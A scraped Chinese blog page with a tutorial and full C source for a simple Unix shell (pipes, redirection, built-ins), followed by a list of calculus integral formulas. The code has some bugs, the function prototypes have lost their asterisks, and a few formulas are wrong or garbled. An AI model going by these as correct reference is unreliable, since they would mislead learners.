好了，至此笔者说明了本程序的绝大部分设定和思想，下面就可以来讨论 launch() 函数的具体实现了．

首先遍历一遍命令，计算命令中的管道数量．

1
2
3
4
5
6
7
8
int pipe = 0; //管道计数器
for (char *pr = command; *pr != '\0'; pr++)
{
    if (*pr == '|')
    {
        pipe++;
    }
}

计算出了管道的数量也就知道了命令需要被分成几段．那么就可以根据分段的数量创建一个 COMMAND 的数组．

1
2
3
4
5
struct COMMAND *cmd = (struct COMMAND *)calloc(pipe + 1, sizeof(struct COMMAND));
if (cmd == NULL)
{
    myerror("malloc", __LINE__);
}

然后就是将命令分段的实现了．

1
2
3
4
5
6
7
8
9
char *remain = NULL;
char *part = strtok_r(command, "|", &remain);
for (int i = 0; i <= pipe; i++)
{
    /* 初始化 */
    cmd[i].Redirect_FD[STDIN_FILENO] = -1;
    cmd[i].Redirect_FD[STDOUT_FILENO] = -1;
    cmd[i].Redirect_FD[STDERR_FILENO] = -1;
}

还记得吗？笔者用 Redirect_FD 表示每段命令中重定向的文件的文件描述符．因为合法的文件描述符都是非负的，那么笔者必须要将 Redirect_FD 中的每个元素都初始化为 -1 才能表达不需要重定向的情况．

tip

TIP

笔者猜会有读者对strtok_r()函数的使用产生疑惑．strtok_r()函数的用法与strtok()函数的用法类似，只是多了一个参数．

这两个函数的函数原型为：

char strtok(char str, const char delim);
char strtok_r(char str, const char delim, char **saveptr);

简单的说，strtok_r() 是可重入版本的 strtok() ，就是将使用 static 变量保存的数据保存在了参数里，实现了可重入的需求．
至于为什么要用 strtok_r() 而不是 strtok() ？因为后文还有一处有分割字符串的需求，如果都用 strtok() 来实现，那么在第2处调用(指第一个参数不为NULL的第2处调用)会覆盖先前保存在 static 变量中的数据，无法满足笔者的需求．后文会再次重复该问题．

在这之后，分别处理每段命令．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
    for (int i = 0; i <= pipe; i++)
    {

        if (pipe && i < pipe)
        {
            /* 生成临时文件 */
            char TempFile[] = "/tmp/MyShell_XXXXXX";
            int TempFile_FD = mkstemp(TempFile);
            /* 检测生成临时文件是否成功 */
            if (TempFile_FD == -1)
            {
                myerror("mkstemp", __LINE__);
            }
            /* 将本段命令的标准输出重定向至临时文件 */
            cmd[i].Redirect_FD[STDOUT_FILENO] = TempFile_FD;
            /* 将下段命令的标准输入重定向至临时文件 */
            cmd[i + 1].Redirect_FD[STDIN_FILENO] = TempFile_FD;
            unlink(TempFile);
            //删除临时文件（临时文件在被close前依然可用，不会被立即删除）
        }
        analyze(part, &cmd[i]);//分析与检测本段命令中的参数与重定向符
        if (不是内置命令)
        {
            执行本段命令
        }
        if (pipe && i < pipe)
        {
            lseek(cmd[i].Redirect_FD[STDOUT_FILENO], 0, SEEK_SET);
            cmd[i].Redirect_FD[STDOUT_FILENO] = -1;
        }
        part = strtok_r(NULL, "|", &remain);
        for (int IO_Steam = 0; IO_Steam < 3; IO_Steam++)
        {
            if (cmd[i].Redirect_FD[IO_Steam] >= 0)
            {
                close(cmd[i].Redirect_FD[IO_Steam]);
                //关闭文件，释放相关资源
            }
        }

        for (int j = 0; j < cmd[i].argc; j++)
        {
            free(cmd[i].argv[j]);
        }
        free(cmd[i].argv);
    }
    free(cmd);
}

为了便于读者们阅读和理解，第22行和第23行笔者使用了伪码来描述其中的逻辑．具体的实现将在后文说明．

请读者们注意第28 行，该行将文件的读取位置重置为0．以便下一段命令从文件头读取内容．

第29 行，在本段命令执行结束后，将因实现管道产生的重定向中的输出重定向设为-1．为什么要这样做？为了避免 close 临时文件，在第18行已经对临时文件执行了unlink ，close 后临时文件的引用计数递减为0，会导致临时文件被真正的删除，下一段命令将无法完成输入重定向．故此，临时文件只能在完成输入重定向的使命之后关闭．

最终，所有打开的重定向文件都该被将被close．

分析处理命令段

首先将正在处理的命令段复制一份，因为在分析中会更改命令段的值．

1
2
3
4
5
char *string = strdup(OriginString);
if (string == NULL)
{
    myerror("malloc", __LINE__);
}

tip

TIP

strdup()的用法等于用strlen()计算源字符串的长度后分配为新字符串分配内存空间并完成复制最终返回原字符串的副本的地址．

srdup() 的函数签名为：

char *strdup(const char *s);

在这之后定义变量char *end = string + strlen(string); 作为一个哨兵指向\0，标记string的结束位置，防止指针越界．

下面就是查找命令段中是否含有输入输出重定向，重定向是否合法，以及解析命令行的参数，将其转换为char **argv; 的形式．

处理标准输出、错误输出重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
char *result = NULL;
while ((result = strchr(string, '>')) != NULL)
{
    *result = ' ';
    int IO_Steam = 1;

    result--;
    if (result > string && isdigit(*result))
    {
        if (*result - '0' != STDOUT_FILENO && *result - '0' != STDERR_FILENO)
        {
            printf("Unknow COMMAND\n");
            exit(EXIT_FAILURE);
        }
        else
        {
            IO_Steam = *result - '0';
            *result = ' ';
        }
    }
    if (cmd->Redirect_FD[IO_Steam] >= 0)
    {
        printf("Unknow COMMAND\n");
        exit(EXIT_FAILURE);
    }
    result += 2;
    _Bool Append = 0;
    if (result < end && *result == '>')
    {
        Append = 1; //附加模式
        *result = ' ';
    }
    while (result < end && isspace(*result))
    {
        result++;
    }

    if (result < end)
    {
        cmd->Redirect_FD[IO_Steam] = OpenFile(result, O_WRONLY | O_CREAT | (Append ? O_APPEND : O_TRUNC));
    }
    else
    {
        printf("Unknow COMMAND\n");
        exit(EXIT_FAILURE);
    }
}

处理输入重定向

有了标准输出、错误输出重定向的处理方式，那标准输入重定向的处理方式也不会很难．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
while ((result = strchr(string, '<')) != NULL)
{
    *result = ' ';
    if (cmd->Redirect_FD[STDIN_FILENO] >= 0)
    {
        printf("Unknow COMMAND\n");
        exit(EXIT_FAILURE);
    }
    while (result < end && isspace(*result))
    {
        result++;
    }
    if (result < end)
    {
        cmd->Redirect_FD[STDIN_FILENO] = OpenFile(result, O_RDONLY);
    }
    else
    {
        printf("Unknow COMMAND\n");
        exit(EXIT_FAILURE);
    }
}

解析命令行参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int arg_max = 16; //参数上限，在无法满足需求时会自动增加

cmd->argv = (char **)calloc(arg_max, sizeof(char *));
if (cmd->argv == NULL)
{
    myerror("malloc", __LINE__);
}
char *remain = NULL;
result = strtok_r(string, " ", &remain);
while (result != NULL)
{
    if (arg_max < cmd->argc)
    {
        arg_max *= 2;                                                      //参数数量上限扩充至原来的2倍
        cmd->argv = (char **)realloc(cmd->argv, arg_max * sizeof(char *)); //扩充指针数组大小
    }
    cmd->argv[cmd->argc++] = strdup(result);
    if (cmd->argv == NULL)
    {
        myerror("malloc", __LINE__);
    }
    result = strtok_r(NULL, " ", &remain);
}
if (arg_max < cmd->argc)
{
    arg_max++;
    cmd->argv = (char **)realloc(cmd->argv, arg_max * sizeof(char *)); //扩充指针数组大小
    if (cmd->argv == NULL)
    {
        myerror("malloc", __LINE__);
    }
}
cmd->argv[cmd->argc] = NULL; //argv[argv]的值为NULL

好了，这段命令的解析终于是结束了．当然还有一点小小的工作需要完成．free(string); 释放命令段的副本所占用的内存．

打开重定文件

临时文件的打开笔者在上文中已经实现完成．但用户在命令行中指定的重定向文件的打开还需要单独实现．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int OpenFile(char *string, int flags)
{

    size_t len = 0;
    char *pr = string;
    while (!isspace(*pr) && *pr++ != '\0')
    {
        len++;
    }

    char *dest = malloc((len + 1) * sizeof(char));
    if (dest == NULL)
    {
        myerror("malloc failed", __LINE__);
    }
    strncpy(dest, string, len);
    dest[len] = '\0';
    memset(string, ' ', sizeof(char) * len);
    PathAnalyze(&dest);
    int fd = open(dest, flags, S_IRUSR | S_IWUSR);
    if (fd == -1)
    {
        printf("error:fd:%d  path:%s\n", fd, string);
        myerror("open", __LINE__);
    }
    free(dest);
    return fd;
}

传入的string是命令段的副本，这意味着重定向文件的路径后面可能还有以空格分隔的其他参数，这意味这不能直接使用string调用open()．

此处，笔者通过计算空格前的字符数量并将其复制到新的字符串中使字符串中只含有重定向文件的路径．

转换相对路径

遗憾的是，至此依然不能把dest字符串直接当作参数去调用open() ．莫着急，请听笔者慢慢道来．

在此时，string是重定向文件的路径是毫无疑问的．但路径并不都是可被open() 直接使用的．请参考笔者的前作（命令行参数的误区），文中说明了函数接受的路径只能是绝对路径或以.开头的相对路径．但用户输入的路径却不总是符合这里的要求．而将其他的相对路径格式转换为绝对路径是shell的任务．

思考需要转换的两种相对路径格式．

  • ~/123.md 该类相对路径只需要读取HOME环境变量然后通过简单的字符串拼接就可完成转换．
  • ~root/123.md 该类相对路径的处理更加简单，直接完成拼接即可完成转换．
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
void PathAnalyze(char **path) //处理~开头的相对路径
{
    char *RelativePath = *path;
    if (isalpha(*(RelativePath + 1)))
    {
        *path = malloc(strlen(RelativePath) + 1 + strlen("/home/") + 1);
        if (*path == NULL)
        {
            myerror("malloc", __LINE__);
        }
        strcpy(*path, "/home/");
    }
    else
    {
        char *home = getenv("HOME"); //获得HOME环境变量的值
        *path = malloc(strlen(RelativePath) + 1 + strlen(home) + 1);
        if (*path == NULL)
        {
            myerror("malloc", __LINE__);
        }
        strcpy(*path, home);
    }
    strcat(*path, RelativePath + 1);
    free(RelativePath);
}

至此，只需要根据传入的参数直接调用open()函数便可完成打开．

执行命令段

有了刚才的准备工作，现在是万事俱备了，只需要真正的执行命令段中的命令．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void execute(struct COMMAND *cmd)
{

    pid_t pid = fork();
    if (pid > 0)
    {
        wait(NULL);
        return;
    }
    for (int i = 1; i < cmd->argc; i++)
    {
#ifndef NDEBUG
        printf("DEBUG,pid: %d LINE:%d\n", pid, __LINE__);
#endif
        if (*cmd->argv[i] == '~')
        {
            PathAnalyze(&cmd->argv[i]);
        }
    }
#ifndef NDEBUG
    printf("DEBUG:argv[0]:%s\n", cmd->argv[0]);
#endif
    for (int IO_Steam = 0; IO_Steam < 3; IO_Steam++)
    {
        if (cmd->Redirect_FD[IO_Steam] >= 0 && dup2(cmd->Redirect_FD[IO_Steam], IO_Steam) == -1)
        {
            myerror("dup2", __LINE__);
        }
    }
    execvp(cmd->argv[0], cmd->argv);
    myerror("exec", __LINE__);
}

首先执行fork()，创建子进程，然后子进程根据struct COMMAND的指示完成输入输出的重定向，并在struct COMMAND中找到作为新的进程的调用参数的argv．好了，直接调用即可．如果在未出错的情况下，程序不该执行到 第31行，故在执行到第31行时说明程序已出错．

内置命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
_Bool BuiltInCommand(struct COMMAND *cmd)
{
    /* 内建 历史记录命令 */
    if (strcmp(cmd->argv[0], "history") == 0)
    {
        HIST_ENTRY **history = NULL;
        history = history_list();
        for (int i = 0; history[i] != NULL; i++)
        {
            printf("%s\n", history[i]->line);
        }
        return 0;
    }
    /* 内建 切换工作目录命令 */
    if (strcmp(cmd->argv[0], "cd") == 0)
    {
        if (*cmd->argv[1] == '-')
        {
            chdir(oldpath);
        }
        else if (*cmd->argv[1] == '~')
        {
            PathAnalyze(&cmd->argv[1]);
        }
        oldpath = getcwd(NULL, 0);
        chdir(cmd->argv[1]);
        return 0;
    }
    /* 内建 退出命令 */
    if (strcmp(cmd->argv[0], "exit") == 0 || strcmp(cmd->argv[0], "q") == 0)
    {
        exit(EXIT_SUCCESS);
    }
    return 1;
}

收尾工作

屏蔽相关信号

1
2
3
4
5
signal(SIGHUP, SIG_IGN);
signal(SIGINT, SIG_IGN);
signal(SIGTTIN, SIG_IGN);
signal(SIGTTOU, SIG_IGN);
signal(SIGTSTP, SIG_IGN);

输出颜色

在 main() 中，笔者希望命令提示符和当前工作目录的输出为红色．因此对代码做了如下的改动:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int main(void)
{
    /* 屏蔽相关信号 */
    signal(SIGHUP, SIG_IGN);
    signal(SIGINT, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTSTP, SIG_IGN);

    read_history(NULL);  //调用 readline 库提供的函数，读取历史记录
    char Prompt[P_SIZE]; //命令提示符
    while (1)
    {
        strcpy(Prompt, RED);
        char *pwd = getcwd(NULL, 0); //getcwd在第一个参数为NULL时会分配内存空间存储工作目录
        strncat(Prompt, pwd, 100);
        free(pwd);
        strcat(Prompt, " MYSHELL$" CLOSE);

        char *command = readline(Prompt);
        add_history(command); //将读取到的命令添加至历史记录
        write_history(NULL);
        launch(command); //执行命令
        free(command);   //readline 为读取的命令分配内存空间，需释放防止内存泄漏
    }

    if (oldpath != NULL)
    {
        free(oldpath); //防止内存泄漏和重复释放
    }
}

反思

必要说明

笔者在本文中launch()的实现很低效，实际上不先行对管道数量进行计数是完全可行的．
在analyze()中不去复制字符串也是完全可行的．
还有，丢弃掉strtok_r()，自己实现查找和分割能比本文中的代码高效不止一点点．
笔者也曾想过是否要把文中的代码做一次重构之后在发出来，这样读者们便能看到一个更好的版本．
但笔者最终没有这样做主要是为了激励自己在日后的程序设计过程中更加深入的思考．当然，笔者相信，这点小小的修改一定难不到聪明的读者们，欢迎读者们修改本文中的代码，实现更高效的程序．

不够友善的错误处理

在本文中，笔者采用了最简单也最不友好的方式处理一切的错误．
但这种处理方式并不总是合理的，例如在myshell中，输入错误的指令导致报错是一个常见但并不致命的错误．但笔者依旧采取了这种最简单的错误处理方式，确实未能人性化的设计程序．

不够合理的调用方式

注意launch()中

1
2
3
4
if (BuiltInCommand(&cmd[i]))
     {
         execute(&cmd[i]);
     }

笔者认为此处的设计并不合理，笔者认为更合理的做法可能是将 execute() 交由 BuiltInCommand() 在判断出本段命令不是内置命令之后自动调用，而不是判断BuiltInCommand()的返回至然后在调用execute()．

回看近3个月前笔者自己写出的myshell ,笔者不得不承认自己的能力是多么的有限．万幸的是，笔者在这3个月中也得到了足够的提高，才能看出原来写的程序的问题．

测试环境

GNU bash : 5.1.4(1)-release

zsh : 5.8

OS : Arch Linux

Kernel : 5.9.14-arch1-1

附录--完整源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
#define NDEBUG
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/wait.h>
#include <unistd.h>
//
#include <readline/history.h>
#include <readline/readline.h>
extern char **environ;
#define P_SIZE 128 //命令提示符长度限制
#define RED "\033[31m" //红色
#define CLOSE "\033[0m" //关闭
struct COMMAND
{
    int argc;           //参数数量
    int Redirect_FD[3]; //标准输入、标准输出、错误输出的重定向情况
    char **argv;
};
char *oldpath;
void PathAnalyze(char **path);
int OpenFile(char *string, int flags);
void execute(struct COMMAND *cmd);
_Bool BuiltInCommand(struct COMMAND *cmd);
void launch(char *command);
void myerror(char *string, int line);
_Bool analyze(char *string, struct COMMAND *cmd);
int main(void)
{
    /* 屏蔽相关信号 */
    signal(SIGHUP, SIG_IGN);
    signal(SIGINT, SIG_IGN);
    signal(SIGTTIN, SIG_IGN);
    signal(SIGTTOU, SIG_IGN);
    signal(SIGTSTP, SIG_IGN);
    read_history(NULL);  //调用 readline 库提供的函数，读取历史记录
    char Prompt[P_SIZE]; //命令提示符
    while (1)
    {
        strcpy(Prompt, RED);
        char *pwd = getcwd(NULL, 0); //getcwd在第一个参数为NULL时会分配内存空间存储工作目录
        strncat(Prompt, pwd, 100);
        free(pwd);
        strcat(Prompt, " MYSHELL$" CLOSE);

        char *command = readline(Prompt);
        add_history(command); //将读取到的命令添加至历史记录
        write_history(NULL);
        launch(command); //执行命令
        free(command);   //readline 为读取的命令分配内存空间，需释放防止内存泄漏
    }

    if (oldpath != NULL)
    {
        free(oldpath); //防止内存泄漏和重复释放
    }
}
void launch(char *command)
{
    int pipe = 0; //管道计数器
    for (char *pr = command; *pr != '\0'; pr++)
    {
        if (*pr == '|')
        {
            pipe++;
        }
    }
    struct COMMAND *cmd = (struct COMMAND *)calloc(pipe + 1, sizeof(struct COMMAND));
    if (cmd == NULL)
    {
        myerror("malloc", __LINE__);
    }
    char *remain = NULL;
    char *part = strtok_r(command, "|", &remain);
    for (int i = 0; i <= pipe; i++)
    {
        /* 初始化 */
        cmd[i].Redirect_FD[STDIN_FILENO] = -1;
        cmd[i].Redirect_FD[STDOUT_FILENO] = -1;
        cmd[i].Redirect_FD[STDERR_FILENO] = -1;
    }
    for (int i = 0; i <= pipe; i++)
    {

        if (pipe && i < pipe)
        {
            /* 生成临时文件 */
            char TempFile[] = "/tmp/MyShell_XXXXXX";
            int TempFile_FD = mkstemp(TempFile);
            /* 检测生成临时文件是否成功 */
            if (TempFile_FD == -1)
            {
                myerror("mkstemp", __LINE__);
            }
            /* 将本段命令的标准输出重定向至临时文件 */
            cmd[i].Redirect_FD[STDOUT_FILENO] = TempFile_FD;
            /* 将下段命令的标准输入重定向至临时文件 */
            cmd[i + 1].Redirect_FD[STDIN_FILENO] = TempFile_FD;
            unlink(TempFile);
            //删除临时文件（临时文件在被close前依然可用，不会被立即删除）
        }
        analyze(part, &cmd[i]); //分析与检测本段命令中的参数与重定向符
        if (BuiltInCommand(&cmd[i]))
        {
            execute(&cmd[i]);
        }
        if (pipe && i < pipe)
        {
            lseek(cmd[i].Redirect_FD[STDOUT_FILENO], 0, SEEK_SET);
            cmd[i].Redirect_FD[STDOUT_FILENO] = -1;
        }
        part = strtok_r(NULL, "|", &remain);
        for (int IO_Steam = 0; IO_Steam < 3; IO_Steam++)
        {
            if (cmd[i].Redirect_FD[IO_Steam] >= 0)
            {
                close(cmd[i].Redirect_FD[IO_Steam]);
                //关闭文件，释放相关资源
            }
        }

        for (int j = 0; j < cmd[i].argc; j++)
        {
            free(cmd[i].argv[j]);
        }
        free(cmd[i].argv);
    }
    free(cmd);
}

int OpenFile(char *string, int flags)
{

    size_t len = 0;
    char *pr = string;
    while (!isspace(*pr) && *pr++ != '\0')
    {
        len++;
    }

    char *dest = malloc((len + 1) * sizeof(char));
    if (dest == NULL)
    {
        myerror("malloc failed", __LINE__);
    }
    strncpy(dest, string, len);
    dest[len] = '\0';
    memset(string, ' ', sizeof(char) * len);
    PathAnalyze(&dest);
    int fd = open(dest, flags, S_IRUSR | S_IWUSR);
    if (fd == -1)
    {
        printf("error:fd:%d  path:%s\n", fd, string);
        myerror("open", __LINE__);
    }
    free(dest);
    return fd;
}
void myerror(char *string, int line)
{
    fprintf(stderr, "\aLine:%d,error:\a\n", line);
    fprintf(stderr, "%s:%s\n", string, strerror(errno));
    exit(EXIT_FAILURE);
}
_Bool analyze(char *OriginString, struct COMMAND *cmd)
{
    //string 代表使用管道分割后的「命令段」
    //返回值表示重定向情况,0代表无重定向,1代表有重定向

    char *string = strdup(OriginString);
    if (string == NULL)
    {
        myerror("malloc", __LINE__);
    }
    char *end = string + strlen(string);
    char *result = NULL;
#ifndef NDEBUG
    printf("DEBUG:string:%s\n", string);
#endif
    //处理标准输出、错误输出重定向
    while ((result = strchr(string, '>')) != NULL)
    {
        *result = ' ';
        int IO_Steam = 1;

        result--;
        if (result > string && isdigit(*result))
        {
            if (*result - '0' != STDOUT_FILENO && *result - '0' != STDERR_FILENO)
            {
                printf("Unknow COMMAND\n");
                exit(EXIT_FAILURE);
            }
            else
            {
                IO_Steam = *result - '0';
                *result = ' ';
            }
        }
        if (cmd->Redirect_FD[IO_Steam] >= 0)
        {
            printf("Unknow COMMAND\n");
            exit(EXIT_FAILURE);
        }
        result += 2;
        _Bool Append = 0;
        if (result < end && *result == '>')
        {
            Append = 1; //附加模式
            *result = ' ';
        }
        while (result < end && isspace(*result))
        {
            result++;
        }

        if (result < end)
        {
            cmd->Redirect_FD[IO_Steam] = OpenFile(result, O_WRONLY | O_CREAT | (Append ? O_APPEND : O_TRUNC));
        }
        else
        {
            printf("Unknow COMMAND\n");
            exit(EXIT_FAILURE);
        }
    }
    //处理输入重定向
    while ((result = strchr(string, '<')) != NULL)
    {
        *result = ' ';
        if (cmd->Redirect_FD[STDIN_FILENO] >= 0)
        {
            printf("Unknow COMMAND\n");
            exit(EXIT_FAILURE);
        }
        while (result < end && isspace(*result))
        {
            result++;
        }
        if (result < end)
        {
            cmd->Redirect_FD[STDIN_FILENO] = OpenFile(result, O_RDONLY);
        }
        else
        {
            printf("Unknow COMMAND\n");
            exit(EXIT_FAILURE);
        }
    }

    /* 解析命令行参数 */
    int arg_max = 16; //参数上限，在无法满足需求时会自动增加

    cmd->argv = (char **)calloc(arg_max, sizeof(char *));
    if (cmd->argv == NULL)
    {
        myerror("malloc", __LINE__);
    }
    char *remain = NULL;
    result = strtok_r(string, " ", &remain);
    while (result != NULL)
    {
        if (arg_max < cmd->argc)
        {
            arg_max *= 2;                                                      //参数数量上限扩充至原来的2倍
            cmd->argv = (char **)realloc(cmd->argv, arg_max * sizeof(char *)); //扩充指针数组大小
        }
        cmd->argv[cmd->argc++] = strdup(result);
        if (cmd->argv == NULL)
        {
            myerror("malloc", __LINE__);
        }
        result = strtok_r(NULL, " ", &remain);
    }
    if (arg_max < cmd->argc)
    {
        arg_max++;
        cmd->argv = (char **)realloc(cmd->argv, arg_max * sizeof(char *)); //扩充指针数组大小
        if (cmd->argv == NULL)
        {
            myerror("malloc", __LINE__);
        }
    }
    cmd->argv[cmd->argc] = NULL; //argv[argv]的值为NULL
    free(string);
    return 0;
}
void PathAnalyze(char **path) //处理~开头的相对路径
{
    char *RelativePath = *path;
    if (isalpha(*(RelativePath + 1)))
    {
        *path = malloc(strlen(RelativePath) + 1 + strlen("/home/") + 1);
        if (*path == NULL)
        {
            myerror("malloc", __LINE__);
        }
        strcpy(*path, "/home/");
    }
    else
    {
        char *home = getenv("HOME"); //获得HOME环境变量的值
        *path = malloc(strlen(RelativePath) + 1 + strlen(home) + 1);
        if (*path == NULL)
        {
            myerror("malloc", __LINE__);
        }
        strcpy(*path, home);
    }
    strcat(*path, RelativePath + 1);
    free(RelativePath);
}
void execute(struct COMMAND *cmd)
{

    pid_t pid = fork();
    if (pid > 0)
    {
        wait(NULL);
        return;
    }
    for (int i = 1; i < cmd->argc; i++)
    {
#ifndef NDEBUG
        printf("DEBUG,pid: %d LINE:%d\n", pid, __LINE__);
#endif
        if (*cmd->argv[i] == '~')
        {
            PathAnalyze(&cmd->argv[i]);
        }
    }
#ifndef NDEBUG
    printf("DEBUG:argv[0]:%s\n", cmd->argv[0]);
#endif
    for (int IO_Steam = 0; IO_Steam < 3; IO_Steam++)
    {
        if (cmd->Redirect_FD[IO_Steam] >= 0 && dup2(cmd->Redirect_FD[IO_Steam], IO_Steam) == -1)
        {
            myerror("dup2", __LINE__);
        }
    }
    execvp(cmd->argv[0], cmd->argv);
    myerror("exec", __LINE__);
}

_Bool BuiltInCommand(struct COMMAND *cmd)
{
    /* 内建 历史记录命令 */
    if (strcmp(cmd->argv[0], "history") == 0)
    {
        HIST_ENTRY **history = NULL;
        history = history_list();
        for (int i = 0; history[i] != NULL; i++)
        {
            printf("%s\n", history[i]->line);
        }
        return 0;
    }
    /* 内建 切换工作目录命令 */
    if (strcmp(cmd->argv[0], "cd") == 0)
    {
        if (*cmd->argv[1] == '-')
        {
            chdir(oldpath);
        }
        else if (*cmd->argv[1] == '~')
        {
            PathAnalyze(&cmd->argv[1]);
        }
        oldpath = getcwd(NULL, 0);
        chdir(cmd->argv[1]);
        return 0;
    }
    /* 内建 退出命令 */
    if (strcmp(cmd->argv[0], "exit") == 0 || strcmp(cmd->argv[0], "q") == 0)
    {
        exit(EXIT_SUCCESS);
    }
    return 1;
}

参考资料

1. 童永清.Linux C 编程实战[M].第1版.北京:人民邮电出版社 ↩
2. W.RichardStevens.Stephen.UNIX环境高级编程[M].第3版.戚正伟,译.北京:人民邮电出版社 ↩
3. Linux Programmer’s Manual ↩
4. General Commands Manual ↩
5. 鸟哥.鸟哥的Linux私房菜[M].第四版.北京:人民邮电出版社 ↩
发表Math4 分钟读完 (大约597个字)

定积分公式

定积分公式

WARNING

本文为书本上知识的摘抄与课堂知识的记录，笔者不保证本文的正确性．

本文笔者不保留任何权利（CC0），任何人均可以任何方式使用本文的内容．

基本积分表

  1. $\int\frac{1}{x} dx=\ln|x|+C$

  2. $\int\frac{1}{1+x^2} dx=\arctan{x}+C$

  3. $\int\frac{1}{\sqrt{1-x^2}} dx=\arcsin{x}+C$

  4. $\int\cos{x} dx=\sin{x}+C$

  5. $\int\sin{x} dx=-\cos{x}+C$

  6. $\int\frac{1}{\cos{x^2}} dx=\int\sec^2x dx=\tan x +C$

  7. $\int\frac{1}{sin^2x} dx=\int\csc^2x dx=-\cot x+C$

  8. $\int\sec x \tan x dx=\sec x+C$

  9. $\int\csc x \cot x dx=-\csc x+C$

  10. $\int e^x dx=e ^x+C$

  11. $\int a^x dx=\frac{a^x}{\ln a}+C$

  12. $\int \frac {1}{\sqrt{x}} dx=2\sqrt{x}+C$

第一类换元法

  1. $\int f(ax+b) dx=\frac 1 a \int f(ax+b)d(ax+b)$

  2. $\int f(x^n)x^{n-1} dx=\frac 1 n \int f(x^n)d(x^n)$

  3. $\int f(x^n)\frac 1 x dx=\frac 1 n \int f(x^n)\frac 1 {x^n}d(x^n)$

  4. $\int f(\sin x)\cos x dx=\int f(\sin x)d\sin x$

  5. $\int f(\cos x)\sin x dx=-\int f(\cos x)d \cos x$

  6. $\int f(\tan x) \sec^2 x dx=\int f(\tan x) d\tan x$

  7. $\int f(e^x)e^x dx=\int f(e^x) de^x$

  8. $\int f(\ln x)\frac 1 x dx=\int f(\ln x) d\ln x$

  9. $\int f(\arctan x) \frac 1 {1+x^2} dx=\int f(\arctan x) d\arctan x$

  10. $\int f(\arcsin x) \frac 1 {\sqrt {1-x^2}} dx=\int f(\arcsin x) d\arcsin x$

  1. $\int \tan x dx=-\ln |\cos x|+C$

  2. $\int \cot x dx=\ln |\sin x|+C$

  3. $\int \sec x dx=\ln |\sec x +\tan x|+C$

  4. $\int \csc x dx=\ln |\csc x -\cot x|+C$

第二类换元法

Q:$\int f(x)=\sqrt[n]{ax+b} dx$

A:令$t=\sqrt[n]{ax+b}$

Q:$\int f(x)=\sqrt[n]\frac {ax+b}{cx+d} dx$

A:令$t=\sqrt[n]\frac {ax+b}{cx+d}$

Q:$\int f(x)=\sqrt{a^2-x^2} dx$

A:令$x=a\sin{t}$ $t\in(-\frac{\pi}{2},\frac{\pi}{2})$

Q:$\int f(x)=\sqrt{a^2+x^2} dx$

A:令$x=a\tan t$ $t\in(-\frac{\pi}{2},\frac{\pi}{2})$

Q:$\int f(x)=\sqrt{x^2-a^2} dx$

A:令$x=a\sec t$ $t\in(0,\frac{\pi}{2})$

Q:$\int f(x)=a^x dx$

A:令$x=a^x$

  1. $\int\frac{1}{x^2+a^2} dx=\frac{1}{a}\arctan \frac{x}{a}+C$

  2. $\int\frac{1}{x^2-a^2} dx=\frac{1}{2a}\ln{|\frac{x-a}{x+a}|}+C$

  3. $\int\frac{1}{\sqrt{x^2 \pm a^2}} dx=\ln{|x+\sqrt{x^2 \pm a^2}|}+C$

  4. $\int\frac{1}{\sqrt{a^2-x^2}} dx=\arcsin{\frac{x}{a}}+C$

  5. $\int\sqrt{a^2-x^2} dx=\frac{a^2}{2}\arcsin{\frac{x}{a}}+\frac{x}{2}\sqrt{a^2-x^2}+C$

  6. $\int\sqrt{a^2+x^2} dx=\frac{a^2}{2}\ln(x+\sqrt{a^2+x^2})+\frac{x}{2}\sqrt{a^2+x^2}+C$

参考资料

1. 同济大学数学系.高等数学上册[M].第7版.北京:高等教育出版社 ↩
发表Dev39 分钟读完 (大约5813个字)

GNU/Linux_C 开发实战--myls

GNU/Linux C 开发实战—myls

需求

